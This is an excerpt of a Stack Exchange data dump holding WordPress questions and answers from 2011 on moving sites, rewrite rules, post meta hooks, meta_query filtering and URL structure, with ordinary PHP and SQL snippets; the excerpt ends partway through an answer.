  <row Id="16831" PostTypeId="1" AcceptedAnswerId="16852" CreationDate="2011-05-10T10:18:56.633" Score="3" ViewCount="191" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12553/migrating-from-wordpress-com-to-self-hosted-site-and-autoforward-visitors&quot;&gt;Migrating from WordPress.com to self-hosted site and autoforward visitors?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;How can I move theme and plugin (widget) settings from a WordPress.com site to a self-hosted installation? My client is moving from &lt;code&gt;hissite.wordpress.com&lt;/code&gt; to his own host at &lt;code&gt;hissite.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have moved over the content using the Import/Export feature, but I can't access the theme and widget plugin files, since WordPress.com offers no FTP access. We also don't want to &lt;a href=&quot;http://en.support.wordpress.com/guided-transfer/&quot; rel=&quot;nofollow&quot;&gt;pay WordPress.com to move these files over&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2719" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T11:53:57.823" LastActivityDate="2011-05-10T14:07:21.837" Title="Moving WordPress.com theme and widget settings to self-hosted site?" Tags="&lt;themes&gt;&lt;widgets&gt;&lt;wordpress.com&gt;&lt;migration&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="16832" PostTypeId="2" ParentId="16831" CreationDate="2011-05-10T10:34:21.170" Score="0" ViewCount="" Body="&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what WordPress.com has to say on moving your blog to self hosted: &lt;a href=&quot;http://en.support.wordpress.com/moving-a-blog/#moving-to-wordpress-org&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/moving-a-blog/#moving-to-wordpress-org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IGNORE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my method of moving a wordpress install from subdomain.example.com to example.com Using the tools I have its the quickest way for me to move a dev install to a live install.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Compress all files of WP into zip and upload to new site.&lt;/li&gt;&#xA;&lt;li&gt;Extract files on new domain. Create new database on new domain.&lt;/li&gt;&#xA;&lt;li&gt;Update wp-config to point to new domain.&lt;/li&gt;&#xA;&lt;li&gt;Export database from subdomain as an SQL file.&lt;/li&gt;&#xA;&lt;li&gt;Open SQL file in a text editor program and do a find and replace.&lt;/li&gt;&#xA;&lt;li&gt;Find &lt;code&gt;http://subdomain.example.com&lt;/code&gt; replace with &lt;code&gt;http://www.example.com&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Import SQL into new database.&lt;/li&gt;&#xA;&lt;li&gt;Navigate to new domain.&lt;/li&gt;&#xA;&lt;li&gt;All done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-10T10:45:52.327" LastActivityDate="2011-05-10T10:45:52.327" CommentCount="9" />
  <row Id="16833" PostTypeId="2" ParentId="16819" CreationDate="2011-05-10T10:37:11.933" Score="1" ViewCount="" Body="&lt;p&gt;WordPress also has a rewriting mechanism, it's better to use that instead of doing it in the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add your own rewrite rules to it. In your case we want to store the &lt;code&gt;cat1&lt;/code&gt; part in a separate query variable, so we also need to tell WordPress to allow this query variable (it uses a whitelist for safety).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The precise form of the rewrite rule depends on what &lt;code&gt;http://domain.com/news/&lt;/code&gt; is: is it a Page with a custom template, or something else? You should find this out (using my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;Rewrite analyzer plugin&lt;/a&gt; for example), and add this to the rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse16819_init' );&#xA;function wpse16819_init()&#xA;{&#xA;    // Base form, will probably not work because it does nothing with the `news` part&#xA;    add_rewrite_rule( 'news/([^/]+)/?$', 'index.php?wpse16819_filter=$matches[1]', 'top' );&#xA;    // Use this instead if `news` is a page&#xA;    add_rewrite_rule( 'news/([^/]+)/?$', 'index.php?wpse16819_filter=$matches[1]&amp;amp;pagename=news', 'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse16819_query_vars' );&#xA;function wpse16819_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse16819_filter';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to &lt;em&gt;flush&lt;/em&gt; the rewrite rules (save them to the database) after you add this code. You can do this by visting the &lt;em&gt;Permalinks&lt;/em&gt; page in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now access the &lt;code&gt;wpse16819_filter&lt;/code&gt; variable with &lt;code&gt;get_query_var( 'wpse16819_filter' );&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-10T10:37:11.933" CommentCount="2" />
  <row Id="16834" PostTypeId="1" CreationDate="2011-05-10T11:51:54.023" Score="1" ViewCount="45" Body="&lt;p&gt;I created a plugin that manages a database table.&#xA;It is an option to call a specific function of the plugin, something like:&#xA;siteurl/admin.php? page = pluginname &amp;amp; function = function_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5258" LastActivityDate="2011-08-11T00:22:07.763" Title="Plugin function" Tags="&lt;plugins&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="16835" PostTypeId="1" AcceptedAnswerId="16840" CreationDate="2011-05-10T12:01:32.200" Score="1" ViewCount="289" Body="&lt;p&gt;I'm still struggling to get my head around this whole hooking into things, so I'm really stuck on trying to do the following task:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If update_post_meta is fired then check to see if the meta_key is equal to something (I want to trigger some code if a particular meta_key is used). If the meta key I'm looking for then run some code that will need to know the &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; of the meta key being updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to hook into the delete_post_meta too that kind of does the reverse as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide me with some example code for hooking into update_post_meta and delete_post_meta?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-21T01:04:41.980" Title="How to hook update_post_meta and delete_post_meta?" Tags="&lt;hooks&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="16836" PostTypeId="2" ParentId="16822" CreationDate="2011-05-10T12:07:14.980" Score="6" ViewCount="" Body="&lt;p&gt;You can do a query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID, post_title, post_date, post_content &#xA;FROM wp_posts &#xA;WHERE post_content &#xA;LIKE '%your-post-title%' ORDER BY post_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get all posts that linked that old post order by date.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-05-10T12:07:14.980" />
  <row Id="16837" PostTypeId="1" CreationDate="2011-05-10T12:09:23.593" Score="1" ViewCount="57" Body="&lt;p&gt;I just want to show how many user viewed a post (says 12 views) and a widget for top viewed blog list in the sidebar any plugin for the above concepts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edvin&lt;/p&gt;&#xA;" OwnerUserId="5251" LastActivityDate="2011-05-10T13:37:06.820" Title="Best plugin for most viewed post" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;3.0.1&gt;" AnswerCount="1" />
  <row Id="16838" PostTypeId="1" CreationDate="2011-05-09T14:37:26.540" Score="1" ViewCount="45" Body="&lt;p&gt;I need some support on restructuring the directories and settings with my current WP site for better SEO purposes. I have the following settings:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WP is installed in the root.&lt;/li&gt;&#xA;&lt;li&gt;Permanent Links are set to /year/month/.... e.g.&lt;/li&gt;&#xA;&lt;li&gt;There's a static home page (index.php) and several other static pages (created with WP Pages) in the root directory.&lt;/li&gt;&#xA;&lt;li&gt;Currently when people click on the blog link on the static page, the web browser takes them to -&gt; /category/blog/ (where all the posts are under category &quot;blog&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think this is not the most efficient setup for SEO purposes, since the static pages and the blog posts are all referenced from the root directory (e.g. /2011/12/20/post1..... and page &quot;/ABout-Us&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, (without having to restructure too many things, or reinstalling WP, if possible), I would like to figure out how to setup the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;All the blog post goes under /blog/ directory, the static pages created in WP goes in the root directory.&lt;/li&gt;&#xA;&lt;li&gt;Categories also gets redirected under the /blog/ directory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think it has to do with the WordPress Address and Site Address...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vincent&lt;/p&gt;&#xA;" LastActivityDate="2011-06-09T12:59:31.373" Title="Wordpress Blog and SEO" Tags="&lt;seo&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="16839" PostTypeId="2" ParentId="16838" CreationDate="2011-05-09T20:56:05.000" Score="0" ViewCount="" Body="&lt;p&gt;You can setup your link structure by changing some WP settings. First you need to create two pages using WP. One called &lt;strong&gt;Home&lt;/strong&gt; and the other &lt;strong&gt;Blog&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next click on &quot;Settings&quot; in the left menu of the admin portal of WP and then click &quot;Reading&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here, set the setting to a static page and choose your Front page as &lt;strong&gt;Home&lt;/strong&gt; and your Posts page as &lt;strong&gt;Blog&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And regardign SEO in WP, you should use the free plugin called &lt;em&gt;All-in-One SEO&lt;/em&gt;. It offers many settings to help maintain and improve the SEO of your WP site.&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-09T20:56:05.000" />
  <row Id="16840" PostTypeId="2" ParentId="16835" CreationDate="2011-05-10T12:25:31.643" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;update_post_meta&lt;/code&gt; hooks are called from the more generic &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L79&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_metadata()&lt;/code&gt;&lt;/a&gt; function, so you might not have found it directly. The three hooks are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L117&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_post_metadata&lt;/code&gt;&lt;/a&gt;, a filter which allows you to &quot;hijack&quot; the metadata update and do something else. If you hook up a function that returns a boolean, execution stops there and the boolean is returned.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L144&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_post_meta&lt;/code&gt;&lt;/a&gt;, an action that gets called &lt;em&gt;before&lt;/em&gt; the data is updated in the database.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L152&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;updated_post_meta&lt;/code&gt;&lt;/a&gt;, an action that gets called &lt;em&gt;after&lt;/em&gt; the data is updated in the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the meta key did not exist in the database yet, &lt;code&gt;update_metadata()&lt;/code&gt; passes control to &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L14&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_metadata()&lt;/code&gt;&lt;/a&gt;, which has the similar hooks &lt;code&gt;add_post_metadata&lt;/code&gt;, &lt;code&gt;add_post_meta&lt;/code&gt;, and &lt;code&gt;added_post_meta&lt;/code&gt;. This happens before &lt;code&gt;update[d]_post_meta&lt;/code&gt; gets called. So if you want to do something when the meta key is added &lt;em&gt;or&lt;/em&gt; updated, be sure to hook into both the &lt;code&gt;update*&lt;/code&gt; and the &lt;code&gt;add*&lt;/code&gt; hooks - but notice that while the &lt;code&gt;updated_*&lt;/code&gt; and &lt;code&gt;added_*&lt;/code&gt; actions pass similar parameters, &lt;code&gt;update_*&lt;/code&gt; and &lt;code&gt;add_*&lt;/code&gt; do not (&lt;code&gt;add_post_meta&lt;/code&gt; does not pass a meta ID first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/meta.php#L157&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;delete_metadata()&lt;/code&gt;&lt;/a&gt; has similar hooks: &lt;code&gt;delete_post_metadata&lt;/code&gt;, &lt;code&gt;delete_post_meta&lt;/code&gt; and &lt;code&gt;deleted_post_meta&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'added_post_meta', 'wpse16835_after_post_meta', 10, 4 );&#xA;add_action( 'updated_post_meta', 'wpse16835_after_post_meta', 10, 4 );&#xA;function wpse16835_after_post_meta( $meta_id, $post_id, $meta_key, $meta_value )&#xA;{&#xA;    if ( 'wpse16835_meta_key' == $meta_key ) {&#xA;        wpse16835_do_something( $post_id, $meta_value );&#xA;    }&#xA;}&#xA;&#xA;add_action( 'deleted_post_meta', 'wpse16835_deleted_post_meta', 10, 4 );&#xA;function wpse16835_deleted_post_meta( $deleted_meta_ids, $post_id, $meta_key, $only_delete_these_meta_values )&#xA;{&#xA;    if ( 'wpse16835_meta_key' == $meta_key ) {&#xA;        wpse16835_undo_something( $post_id );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-10T12:25:31.643" CommentCount="1" />
  <row Id="16841" PostTypeId="1" CreationDate="2011-05-10T12:34:57.187" Score="1" ViewCount="38" Body="&lt;p&gt;I have a WP installed on a subdomain blog.domain.com. What do I have to do in order to get it moved into domain.com/blog directory?&lt;/p&gt;&#xA;" OwnerUserId="5261" LastActivityDate="2011-05-10T13:32:03.737" Title="Moving WP installation form subdomain" Tags="&lt;3.0&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="16842" PostTypeId="2" ParentId="16838" CreationDate="2011-05-10T12:39:04.480" Score="2" ViewCount="" Body="&lt;p&gt;I doubt your URL structure will matter much for SEO. For more advice on this you can ask a question on the &lt;a href=&quot;http://webmasters.stackexchange.com/&quot;&gt;Pro Webmasters Stack Exchange site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Chip said you can change the &lt;em&gt;Posts page&lt;/em&gt; under &lt;em&gt;Settings → Reading&lt;/em&gt; to move your post index to &lt;code&gt;http://example.com/blog/&lt;/code&gt;. The &lt;em&gt;Front page&lt;/em&gt; is what people will see when they go to &lt;code&gt;http://example.com/&lt;/code&gt;, and it should be one of your &lt;em&gt;Pages&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second step is to prefix all blog posts and category archives with &lt;code&gt;/blog/&lt;/code&gt; too. To do this, go to &lt;em&gt;Settings → Permalinks&lt;/em&gt; and prepend &lt;code&gt;/blog/&lt;/code&gt; to your &lt;em&gt;Custom Structure&lt;/em&gt;, so it becomes &lt;code&gt;/blog/%year%/%monthnum%/%day%/%postname%/&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-10T12:39:04.480" CommentCount="1" />
  <row Id="16843" PostTypeId="2" ParentId="16834" CreationDate="2011-05-10T13:06:55.197" Score="0" ViewCount="" Body="&lt;p&gt;If you define a function, and the plugin is active, you can call the function anywhere within your WP (theme, another plugin, etc)&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-10T13:06:55.197" />
  <row Id="16844" PostTypeId="1" AcceptedAnswerId="16853" CreationDate="2011-05-10T13:15:39.630" Score="1" ViewCount="352" Body="&lt;p&gt;I'm trying to use some conditional logic to compare custom fields in my query, but a bit stuck. How would I get all posts with ReleasedProject AND PermanentArtist set to 'true'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far, I'm assuming it's something to do with 'compare':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: To clarify what I want to do - I'm trying to exclude pages that have two custom field values (ReleasedProject and PermanentArtist in this case) set to 'false'. These are set through checkboxes generated using the plugin Custom Field Template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the code to illustrate that I need to filter out all pages with these two custom fields set to false:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$artist_args = array(&#xA;    'post_type' =&amp;gt; 'page',&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'orderby' =&amp;gt; 'name',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'ReleasedProject',&#xA;            'value' =&amp;gt; 'false'&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'PermanentArtist',&#xA;            'value' =&amp;gt; 'false'&#xA;        )&#xA;    )&#xA;);&#xA;$my_query = new WP_Query($artist_args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="2685" LastEditorDisplayName="" LastEditDate="2011-05-10T18:41:29.383" LastActivityDate="2011-05-10T21:32:46.700" Title="WP 3.1 meta_query for multiple custom field values" Tags="&lt;custom-field&gt;&lt;3.1&gt;&lt;meta-query&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="16845" PostTypeId="2" ParentId="16841" CreationDate="2011-05-10T13:32:03.737" Score="1" ViewCount="" Body="&lt;p&gt;is the folder for the subdomain named the same as the folder you want to run from? If so, it may be as simple as getting rid of the subdomain.... no longer pointing it to the folder. And then changing the 2 urls in settings-&gt; general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, review the moving instructions in the codex if you need to physically relocate the files&#xA;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-10T13:32:03.737" />
  <row Id="16846" PostTypeId="2" ParentId="16837" CreationDate="2011-05-10T13:37:06.820" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpresscom-popular-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpresscom-popular-posts/&lt;/a&gt;&#xA;is the one I use. it offers template tags to hardcode into yur theme if you like, or shortcode for pages/posts, or a widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems to do everything you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is dependent upon the wordpress.com stats plugin, or the jetpack plugin however to function. I like the wp.com ststs plugin personally&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/stats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/jetpack/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/jetpack/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-05-10T13:37:06.820" />
  <row Id="16847" PostTypeId="2" ParentId="10437" CreationDate="2011-05-10T13:45:28.093" Score="1" ViewCount="" Body="&lt;p&gt;This removes the posts and all associated post meta data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE a,b,c FROM `wp_posts` a&#xA;LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)&#xA;LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)&#xA;WHERE a.post_author = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the 0 with the ID number for the post_author you wish to remove. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-10T13:45:28.093" />
  <row Id="16848" PostTypeId="1" CreationDate="2011-05-10T14:00:36.130" Score="0" ViewCount="88" Body="&lt;p&gt;I would like to allow users to upload videos to their profiles. I'm using the &lt;a href=&quot;http://www.premiumpress.com/couponscript/&quot; rel=&quot;nofollow&quot;&gt;couponpress theme&lt;/a&gt; for wordpress, which is a coupon listing theme. It lets users upload images for their coupons or advertisements, but some of the users on my site have video (flv/swf) ads that they want to list instead of a still image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to upload a video for users. Does anyone know of a plugin or solution to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a link to the site: &lt;a href=&quot;http://www.savingsulove.com&quot; rel=&quot;nofollow&quot;&gt;www.savingsulove.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-05-10T14:00:36.130" Title="Allow users to upload flash videos?" Tags="&lt;users&gt;&lt;uploads&gt;&lt;videos&gt;" CommentCount="2" />
  <row Id="16849" PostTypeId="1" CreationDate="2011-05-10T14:05:14.673" Score="3" ViewCount="57" Body="&lt;p&gt;I am converting a website from straight html (with tables! Ugh!) to WordPress. The company has a new design every year, and but keeps an archive of their old site(s) with the old design(s) on their website, so people can look back over the years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Keeping the old HTML archives on a WP site&lt;/strong&gt;&lt;br&gt;&#xA;What would you recommend to keep the old HTML archives? WP doesn't play well with serving up plain HTML pages. I don't really want to go to all the trouble of creating a decade's worth of sub-domains and hosting the archives there (eg, 2009.mydomain.com, 2008.mydomain.com) because then I'll have to go through all those html pages and update any references to the archives as well (not really a problem with &lt;code&gt;grep&lt;/code&gt; and &lt;code&gt;sed&lt;/code&gt;, just a pain to do). However, thats really the only way I can think of doing it effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Keeping the &quot;annual archive&quot; system&lt;/strong&gt;&lt;br&gt;&#xA;Once the old archives are up and running, how do I &quot;maintain&quot; this system in WordPress? I know WP does a nice archive system, but I'd need to show all the 2011 posts and pages with the 2011 design, all the 2012 posts/pages with the 2012 design. My thought was display themes conditionally -- maybe to add a custom field to each post/page and add a function that checks the custom field and serves the appropriate CSS file. Of course, this requires that the theme templates don't really change much from year to year. Or perhaps change entire themes, conditionally (easy enough to copy this conditional function to every theme).  Is there a better way of doing this? The other option I thought of was to export the year to be archived to HTML and serve it up as (eg) 2011.mydomain.com. However, then you lose the ability to search through posts/pages, etc. This is particularly annoying as there is a whole custom-post system planned, and archiving the site annually will kind of negate the benefit of the custom-post taxonomies. I'd prefer to keep the wordpressiness and perhaps just use Apache redirection of future &quot;subdomains&quot; to the appropriate archive, to keep a consistent feel across the site's archives (don't want half the archives accessed via 2006.mydomain.com and the future archives from mydomain.com/archives/2012).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I have explained this relatively clearly. Any suggestions would be welcome.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-05-20T17:56:56.140" Title="Retaining old HTML archives and displaying themes conditionally" Tags="&lt;themes&gt;&lt;archive&gt;&lt;html&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="16850" PostTypeId="2" ParentId="16757" CreationDate="2011-05-10T14:05:26.077" Score="1" ViewCount="" Body="&lt;p&gt;The problem was not having mod_rewrite enabled ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resolved it through&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo a2enmod rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-05-10T14:05:26.077" />
  <row Id="16851" PostTypeId="2" ParentId="14108" CreationDate="2011-05-10T14:06:15.127" Score="0" ViewCount="" Body="&lt;p&gt;I was having a similar problem which I think was triggered by upgrading wordpress to 3.1 although I did not get a chance to revert back to verify. I changed my code to pass in the $post_id and $post as above taking care to pass parameter 1,2 rather than 10, 2 as above and this fixed the problem. adding a hook to wp_insert_post did not work for me and gave me errors when adding a new custom post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this help. My first response so sorry if I'm unclear.  &lt;/p&gt;&#xA;" OwnerUserId="5263" LastActivityDate="2011-05-10T14:06:15.127" />
  <row Id="16852" PostTypeId="2" ParentId="16831" CreationDate="2011-05-10T14:07:21.837" Score="4" ViewCount="" Body="&lt;p&gt;First off, check if the theme is available in wordpress.org themes: &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not, find the name of the theme developer and contact them. Many developers of wordpress.com themes are happy for people to use their themes on self-hosted WordPress blogs. The developer's name and contact details can be found by looking at style.css. You can see the content of style.css by viewing the CSS file in your browser. Alternatively, navigate to style.css for the theme you want in the wordpress.com theme repository: &lt;a href=&quot;https://wpcom-themes.svn.automattic.com/&quot; rel=&quot;nofollow&quot;&gt;https://wpcom-themes.svn.automattic.com/&lt;/a&gt; This is also where you download the theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must seek permission from the theme's author before you download and use their theme unless the theme's style.css includes a note to say it is released under the GPL. If it's GPL then permission has already been given. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For plugins, you need to download them from wordpress.org. If they are not available there you will need to find acceptable replacements or track down who developed them and ask if the plugins are going to be made available. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-10T14:07:21.837" CommentCount="1" />
  <row Id="16853" PostTypeId="2" ParentId="16844" CreationDate="2011-05-10T14:20:04.767" Score="0" ViewCount="" Body="&lt;p&gt;If you want all posts that have &lt;code&gt;ReleasedProject&lt;/code&gt; AND &lt;code&gt;PermanentArtist&lt;/code&gt; both set to true, you need to change the &lt;code&gt;value&lt;/code&gt; keys for both of those to &lt;code&gt;'true'&lt;/code&gt;. If you want to exclude all posts that have both of those set to &lt;code&gt;'false'&lt;/code&gt;, you need to add &lt;code&gt;'compare' =&amp;gt; '!='&lt;/code&gt; to both meta query arrays.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The logic behind meta queries is such that all conditions must be met (it's an &lt;code&gt;AND&lt;/code&gt; relationship). So if you say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;    array(&#xA;        'key' =&amp;gt; 'ReleasedProject',&#xA;        'value' =&amp;gt; 'false'&#xA;    ),&#xA;    array(&#xA;        'key' =&amp;gt; 'PermanentArtist',&#xA;        'value' =&amp;gt; 'false'&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means &quot;find all posts that have both Released Project identical to &lt;code&gt;'false'&lt;/code&gt; AND Permanent Artist identical to &lt;code&gt;'false'&lt;/code&gt;.&quot; If you were to add the &lt;code&gt;'compare' =&amp;gt; '!='&lt;/code&gt; statement like I mentioned earlier, it would be saying &quot;find all posts that have both Released Project NOT identical to &lt;code&gt;'false'&lt;/code&gt; AND Permanent Artist NOT identical to &lt;code&gt;'false'&lt;/code&gt;.&quot; If you have a post that has Released Project set to &lt;code&gt;'false'&lt;/code&gt; and Permanent artist set to &lt;code&gt;'true'&lt;/code&gt;, it will not show up in either of those queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if a meta value is missing, it will not show up in the results either. So if you have a post with Released project set to true, and permanent artist not set at all, this meta query will not find that post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;    array(&#xA;        'key' =&amp;gt; 'ReleasedProject',&#xA;        'value' =&amp;gt; 'false',&#xA;        'compare' =&amp;gt; '!='&#xA;    ),&#xA;    array(&#xA;        'key' =&amp;gt; 'PermanentArtist',&#xA;        'value' =&amp;gt; 'false'&#xA;        'compare' =&amp;gt; '!='&#xA;    